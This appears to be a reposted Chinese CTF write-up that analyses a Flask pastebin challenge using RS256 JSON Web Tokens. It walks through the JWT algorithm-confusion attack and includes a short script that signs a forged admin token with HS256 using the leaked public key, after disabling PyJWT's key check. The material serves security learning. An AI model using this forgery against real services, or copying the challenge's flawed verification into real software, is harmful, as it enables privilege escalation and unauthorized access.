jwt(JSON Web Tokens)的一道題目代碼分析


題目鏈接https://github.com/wonderkun/CTF_web/tree/5b08d23ba4086992cbb9f3f4da89a6bb1346b305/web300-6

參考鏈接 https://skysec.top/2018/05/19/2018CUMTCTF-Final-Web/#Pastebin?tdsourcetag=s_pctim_aiomsg
     https://chybeta.github.io/2017/08/29/HITB-CTF-2017-Pasty-writeup/
     http://www.cnblogs.com/dliv3/p/7450057.html

雖然看着表哥的思路把題目解出來了,但還是雲里霧里的,拿到源碼分析一波把

  1 import os,time
  2 from flask import Flask, render_template, request,jsonify
  3 from flask_sqlalchemy import SQLAlchemy
  4 import jwt
  5 import string
  6 from Crypto import Random
  7 from Crypto.Hash import SHA
  8 from Crypto.Cipher import PKCS1_v1_5 as Cipher_pkcs1_v1_5
  9 from Crypto.Signature import PKCS1_v1_5 as Signature_pkcs1_v1_5
 10 from Crypto.PublicKey import RSA
 11 import base64
 12 import cgi
 13 from urllib import quote
 14 from urllib import unquote
 15 import hashlib
 16 import json
 17 
 18 
 19 app = Flask(__name__)
 20 app.secret_key = os.urandom(24)
 21 app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:////tmp/pastebin.db'
 22 app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = True
 23 db = SQLAlchemy(app)
 24 random_generator = Random.new().read
 25 rsa = RSA.generate(1024, random_generator)
 26 
 27 class User(db.Model):
 28     __tablename__ = 'user'
 29     id = db.Column(db.Integer, primary_key=True)
 30     username = db.Column(db.Text)
 31     password = db.Column(db.Text)
 32     priv = db.Column(db.Text)
 33     key = db.Column(db.Text)
 34     token = db.Column(db.Text)
 35 
 36     def __init__(self, username, password, priv, key, token):
 37         self.username = username
 38         self.password = password
 39         self.priv = priv
 40         self.key = key
 41         self.token = token
 42 
 43     def __repr__(self):
 44         return '<User id:{}, username:{}, password:{}, priv:{}, key:{}, token:{}>'.format(self.id, self.username, self.password, self.priv, self.key, self.token)
 45 
 46 class Link(db.Model):
 47     __tablename__ = 'link'
 48     id = db.Column(db.Integer, primary_key=True)
 49     username = db.Column(db.Text)
 50     link = db.Column(db.Text)
 51     content = db.Column(db.Text)
 52 
 53     def __init__(self, username, link, content):
 54         self.username = username
 55         self.link = link
 56         self.content = content
 57 
 58     def __repr__(self):
 59         return '<Link id:{}, username:{}, link:{}, content:{}'.format(self.id, self.username, self.link, self.content)
 60 
 61 def defense(input_str):
 62     for c in input_str:
 63         if c not in string.letters and c not in string.digits:
 64             return False
 65     return True
 66 
 67 def getmd5(str):
 68     m = hashlib.md5()
 69     m.update(str)   
 70     return m.hexdigest()
 71 
 72 def getname(str, value):
 73     try:
 74         tmp = str.split('.')[1]
 75         while True:
 76             if len(tmp)%4 == 0:
 77                 break
 78             tmp = tmp + "="
 79         username = json.loads(base64.b64decode(tmp))['name']
 80     except:
 81         return False
 82     user = User.query.filter_by(username=username,).first()
 83     if not user:
 84         return False
 85     key_name = user.key
 86     with open('./pubkey/' + key_name + '.pem', 'r') as f:
 87         secret = f.read()
 88         # print(secret)
 89     try:
 90         de_user = jwt.decode(str, secret)
 91     except Exception as e:
 92         # print(e)
 93         return False
 94     # print(de_user)
 95     name = de_user[value]
 96     return name
 97 
 98 
 99 @app.route("/")
100 def index():
101     return render_template("index.html")
102 
103 @app.route("/user")
104 def user():
105     return render_template("user.html")
106 
107 @app.route("/reg",methods=['POST'])
108 def reg():
109     regname = request.form['regname']
110     if regname == "admin":
111         return jsonify(result=False,)
112     regpass = request.form['regpass']
113     if len(regname) < 5 or len(regname) > 20 or len(regpass) < 5 or len(regpass) > 20 or not defense(regname) or not defense(regpass) or User.query.filter_by(username=regname,).first():
114         return jsonify(result=False,)
115     private_pem = rsa.exportKey()
116     public_pem = rsa.publickey().exportKey()  
117     key_name = getmd5(regname + regpass)
118     with open('./key/' + key_name + '.pem', 'w') as f:
119         f.write(private_pem)
120     with open('./pubkey/' + key_name + '.pem', 'w') as f:
121         f.write(public_pem)
122     if regname == "admin":
123         priv = "admin"
124     else:
125         priv = "other"
126     token = jwt.encode({'name': regname,'priv': priv}, private_pem, algorithm='RS256')
127     user = User(regname, regpass, priv, key_name, token)
128     db.session.add(user)
129     db.session.commit()
130     return jsonify(result=True,)
131 @app.route("/login",methods=['POST'])
132 def login():
133     username = request.form['name']
134     password = request.form['pass']
135     if len(username) < 5 or len(username) > 20 or len(password) < 5 or len(password) > 20 or not defense(username) or not defense(password):
136         return jsonify(result=False,)
137     user = User.query.filter_by(username=username,password=password,).first()
138     if not user:
139         return jsonify(result=False,)
140     return jsonify(result=True,token=user.token,)
141 
142 @app.route("/paste",methods=['POST'])
143 def paste():
144     content = unquote(request.form['content'])
145     if len(content)>300:
146         return jsonify(result=False,)
147     try:
148         post_token = request.headers['Authorization'][7:]
149     except:
150         return jsonify(result=False,)
151     name = getname(post_token, "name")
152     if name == False:
153         return jsonify(result=False,)
154     if name == "admin":
155         return jsonify(result=False,)
156     link = getmd5(os.urandom(24))
157     content = cgi.escape(content)
158     li = Link(name, link, content)
159     db.session.add(li)
160     db.session.commit()
161     return jsonify(result=True,link=name+":"+link)
162 
163 @app.route("/list",methods=["GET"])
164 def list():
165     try:
166         post_token = request.headers['Authorization'][7:]
167     except:
168         return jsonify(result=False,)
169     name = getname(post_token, "name")
170     if name == False:
171         return jsonify(result=False,)
172     priv = getname(post_token, "priv")
173     if priv == False:
174         return jsonify(result=False,)
175     if priv == "other":
176         li = Link.query.filter_by(username=name,)
177         links = []
178         for lin in li:
179             links.append(name + ":" + lin.link)
180         return jsonify(result=True,username=name,links=links)
181     if priv == "admin":
182         li = Link.query.filter_by()
183         links = []
184         for lin in li:
185             links.append(lin.username + ":" + lin.link)
186         return jsonify(result=True,username="admin",links=links)
187 
188 @app.route("/pubkey/<key>",methods=["GET"])
189 def getkey(key):
190     try:
191         with open('./pubkey/' + key + '.pem', 'r') as f:
192             secret = f.read()
193         return jsonify(result=True,pubkey=secret,)
194     except:
195         return jsonify(result=False,)
196 
197 @app.route("/text/<link>",methods=["GET"])
198 def getcontent(link):
199     name = link.split(":")[0]
200     links = link.split(":")[1]
201     if defense(name) == False or defense(links) == False:
202         return jsonify(result=False,)
203     li = Link.query.filter_by(username=name,link=links,).first()
204     if not li:
205         return jsonify(result=False,)
206     return jsonify(result=True,content=li.content,)
207 
208 
209 app.run(debug=False,host='0.0.0.0')
View Code

是用flask寫的先看注冊的代碼

 1 @app.route("/reg",methods=['POST'])
 2 def reg():
 3     regname = request.form['regname']
 4     if regname == "admin":
 5         return jsonify(result=False,)
 6     regpass = request.form['regpass']
 7     if len(regname) < 5 or len(regname) > 20 or len(regpass) < 5 or len(regpass) > 20 or not defense(regname) or not defense(regpass) or User.query.filter_by(username=regname,).first():
 8         return jsonify(result=False,)
 9     private_pem = rsa.exportKey()
10     public_pem = rsa.publickey().exportKey()  
11     key_name = getmd5(regname + regpass)
12     with open('./key/' + key_name + '.pem', 'w') as f:
13         f.write(private_pem)
14     with open('./pubkey/' + key_name + '.pem', 'w') as f:
15         f.write(public_pem)
16     if regname == "admin":
17         priv = "admin"
18     else:
19         priv = "other"
20     token = jwt.encode({'name': regname,'priv': priv}, private_pem, algorithm='RS256')
21     user = User(regname, regpass, priv, key_name, token)
22     db.session.add(user)
23     db.session.commit()
24     return jsonify(result=True,)

首先是不允許注冊admin用戶 其次會判斷賬號密碼長度>5 且<20 然后會進入defen函數  

def defense(input_str):
    for c in input_str:
        if c not in string.letters and c not in string.digits:
            return False
    return True

跟進去發現是要求參數必須是

然后會生成rsa的公鑰私鑰

private_pem = rsa.exportKey()
public_pem = rsa.publickey().exportKey()

之后會把用戶的私鑰和公鑰存放在目錄中

key_name = getmd5(regname + regpass)
    with open('./key/' + key_name + '.pem', 'w') as f:
        f.write(private_pem)
    with open('./pubkey/' + key_name + '.pem', 'w') as f:
        f.write(public_pem)

命名格式為

getmd5(regname + regpass)

之后是給普通用戶為other權限

再之后生成token

token = jwt.encode({'name': regname,'priv': priv}, private_pem, algorithm='RS256')

查閱資料如下

JWT簽名算法中,一般有兩個選擇,一個采用HS256,另外一個就是采用RS256。
簽名實際上是一個加密的過程,生成一段標識(也是JWT的一部分)作為接收方驗證信息是否被篡改的依據。

RS256 (采用SHA-256 的 RSA 簽名) 是一種非對稱算法, 它使用公共/私鑰對: 標識提供方采用私鑰生成簽名, JWT 的使用方獲取公鑰以驗證簽名。由於公鑰 (與私鑰相比) 不需要保護, 因此大多數標識提供方使其易於使用方獲取和使用 (通常通過一個元數據URL)。
另一方面, HS256 (帶有 SHA-256 的 HMAC 是一種對稱算法, 雙方之間僅共享一個 密鑰。由於使用相同的密鑰生成簽名和驗證簽名, 因此必須注意確保密鑰不被泄密。

在開發應用的時候啟用JWT,使用RS256更加安全,你可以控制誰能使用什么類型的密鑰。另外,如果你無法控制客戶端,無法做到密鑰的完全保密,RS256會是個更佳的選擇,JWT的使用方只需要知道公鑰。

由於公鑰通常可以從元數據URL節點獲得,因此可以對客戶端進行進行編程以自動檢索公鑰。如果采用這種方式,從服務器上直接下載公鑰信息,可以有效的減少配置信息。

RS256為非對稱的算法 

標識提供方采用私鑰生成簽名, JWT 的使用方獲取公鑰以驗證簽名。

加密后入庫保存 具體數據庫操作代碼就不追蹤了,注冊流程到這

接着看登陸的函數

@app.route("/login",methods=['POST'])
def login():
    username = request.form['name']
    password = request.form['pass']
    if len(username) < 5 or len(username) > 20 or len(password) < 5 or len(password) > 20 or not defense(username) or not defense(password):
        return jsonify(result=False,)
    user = User.query.filter_by(username=username,password=password,).first()
    if not user:
        return jsonify(result=False,)
    return jsonify(result=True,token=user.token,) 

邏輯上差不多就是個登陸驗證,登陸成功后進入了主界面有兩個功能

一個是存儲的功能paste 另一個是查看功能看看你存儲了哪些東西,先來看paste功能

@app.route("/paste",methods=['POST'])
def paste():
    content = unquote(request.form['content'])
    if len(content)>300:
        return jsonify(result=False,)
    try:
        post_token = request.headers['Authorization'][7:]
    except:
        return jsonify(result=False,)
    name = getname(post_token, "name")
    if name == False:
        return jsonify(result=False,)
    if name == "admin":
        return jsonify(result=False,)
    link = getmd5(os.urandom(24))
    content = cgi.escape(content)
    li = Link(name, link, content)
    db.session.add(li)
    db.session.commit()
    return jsonify(result=True,link=name+":"+link)

接受傳進來的參數content 並且長度不能大於300 獲取http頭中的參數

post_token = request.headers['Authorization'][7:]

然后從Authorization解析出name變量來

name = getname(post_token, "name")

跟進getname函數

def getname(str, value):
    try:
        tmp = str.split('.')[1]
        while True:
            if len(tmp)%4 == 0:
                break
            tmp = tmp + "="
        username = json.loads(base64.b64decode(tmp))['name']
    except:
        return False
    user = User.query.filter_by(username=username,).first()
    if not user:
        return False
    key_name = user.key
    with open('./pubkey/' + key_name + '.pem', 'r') as f:
        secret = f.read()
        # print(secret)
    try:
        de_user = jwt.decode(str, secret)
    except Exception as e:
        # print(e)
        return False
    # print(de_user)
    name = de_user[value]
    return name

先用burpsuite抓包看看Authorzation是啥樣

Authorization: Bearer eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoidGVzdGVyIiwicHJpdiI6Im90aGVyIn0.FTnXqCb7drMUhsKChxDWIDdG6_KkC7bFORthEhQJh5JamKMeUB4aNGYgh_M0UTcZGcN_3I0ElsboDA4QglrLZVtllzXAYpunHWWH15BDtMaFk7aqwxqRzBCyWDM7vjErq3YvzYBnguwtF_uaTtKWN9DvNSyVk0eP-hae13JBdRY

這就是用jwt 以rs256加密后的

token = jwt.encode({'name': regname,'priv': priv}, private_pem, algorithm='RS256')

有個解析的網站https://jwt.io/#debugger-io 扔進去看看

由3個部分組成的,由三個.分隔,分別是

header
payload
Sinature

每一部分都是base64編碼的。

header

通常由兩部分組成:令牌的類型,即JWT和正在使用的散列算法,如HMAC SHA256或RSA

{
  "alg": "RS256",
  "typ": "JWT"
}

alg為算法的縮寫,typ為類型的縮寫,然后,這個JSON被Base64編碼,形成JSON Web Token的第一部分。

payload

令牌的第二部分是包含聲明的有效負載。聲明是關於實體(通常是用戶)和其他元數據的聲明。 這里是用戶隨意定義的數據 例如上面的舉例

{
  "name": "tester",
  "priv": "other"
}

Signature

要創建簽名部分,必須采用header,payload,密鑰。然后利用header中指定算法進行簽名,例如RS256(RSA SHA256),簽名的構成為:

RSASHA256(
  base64UrlEncode(header) + "." +base64UrlEncode(payload),
  
Public Key or Certificate. Enter it in plain text only if you want to verify a token
,
  
Private Key. Enter it in plain text only if you want to generate a new token. The key never leaves your browser.

)

HS256(HMAC SHA256),簽名的構成為:

HMACSHA256(
  base64Encode(header) + "." +
  base64Encode(payload),
  secret)

繼續看name函數

調試輸出一下試試

username為當前用戶名

然后根據用戶名 進入數據庫查到對應的公鑰user.key並賦值給secret

user = User.query.filter_by(username=username,).first()

然后進入

de_user = jwt.decode(str, secret)

這里的str是剛才jwt.decode用私鑰 以rs256的方式加密的,然后將公鑰secret給他解密后 給de_user返回value

將內容打印出來

取所需要的value返回

走回paste函數往下走 這個類似php中轉義xss的那個函數htmlbalbalba

cgi.escape(txt) #

這樣paste函數就完事了

之后進入list函數

@app.route("/list",methods=["GET"])
def list():
    try:
        post_token = request.headers['Authorization'][7:]
    except:
        return jsonify(result=False,)
    name = getname(post_token, "name")
    if name == False:
        return jsonify(result=False,)
    priv = getname(post_token, "priv")
    if priv == False:
        return jsonify(result=False,)
    if priv == "other":
        li = Link.query.filter_by(username=name,)
        links = []
        for lin in li:
            links.append(name + ":" + lin.link)
        return jsonify(result=True,username=name,links=links)
    if priv == "admin":
        li = Link.query.filter_by()
        links = []
        for lin in li:
            links.append(lin.username + ":" + lin.link)
        return jsonify(result=True,username="admin",links=links)

首先通過獲取到想要的值

name = getname(post_token, "name")
priv = getname(post_token, "priv")

接下來判斷如果name的權限是other就返回該name的paste內容 是admin 就返回所有的paste內容

代碼通讀完了 大體功能也了解了 雖然不知道具體細節 但大體思路還是清楚的大概就是驗證身份的時候存在問題

這其實是一個算法篡改攻擊,因為服務器利用的RS256算法,用的是私鑰進行簽名,公鑰進行驗證的,(https://auth0.com/blog/critical-vulnerabilities-in-json-web-token-libraries/

查看js /static/js/common.js

function getpubkey(){
    /* 
    get the pubkey for test
    /pubkey/{md5(username+password)}
    */
}

可以通過這里找到自己私鑰

{"pubkey":"-----BEGIN PUBLIC KEY-----\nMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDRvXqtl0+ilz1cyajoUq/zzxYj\nZQtPA5WxUx1/vrZ7vhWcOg/3AwI1WN7xfHFC2UFVOtPeg3OmYRUO0Q9uM2OaNPNA\nWAGO5ZDOg3KARpj5ZdKLBM+GXD0KZEv+a/C+NbTHyE7EeDbLnWi0b5ROiMZ0sf0d\nmP1N6WZfm1RULtH4EQIDAQAB\n-----END PUBLIC KEY-----","result":true}

規范下格式

-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDRvXqtl0+ilz1cyajoUq/zzxYj\nZQtPA5WxUx1/vrZ7vhWcOg/3AwI1WN7xfHFC2UFVOtPeg3OmYRUO0Q9uM2OaNPNA\nWAGO5ZDOg3KARpj5ZdKLBM+GXD0KZEv+a/C+NbTHyE7EeDbLnWi0b5ROiMZ0sf0d\nmP1N6WZfm1RULtH4EQIDAQAB -----END PUBLIC KEY-----

我們可以獲取到自己的public key。JWT的header部分中,有簽名算法標識alg,而alg是用於簽名算法的選擇,最后保證用戶的數據不被篡改。但是在數據處理不正確的情況下,可能存在alg的惡意篡改。我們可以偽造算法為hs256,然后利用我們的獲取的public key,來簽名偽造的數據,繞過驗證。PyJWT庫中對這種攻擊做了預防,不允許hs256的密鑰中出現下面這些字符,具體見algorithms.py:151

直接注釋掉

def prepare_key(self, key):
        key = force_bytes(key)
        return key
import jwt
public = open("1.txt",'r').read()
print jwt.encode({"name":"aoligei","priv":"admin"},key=public,algorithm='HS256')

生成的字符串替換掉對應的Authortion

list的時候再次進入get_name函數的時候

key_name = user.key
    with open('./pubkey/' + key_name + '.pem', 'r') as f:
        secret = f.read()

從數據庫取出來的secret 和用通過pubkey目錄的公鑰是一樣的 因為HS256是對稱的所以直接解密即可 偽造一個admin權限繞過if 

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM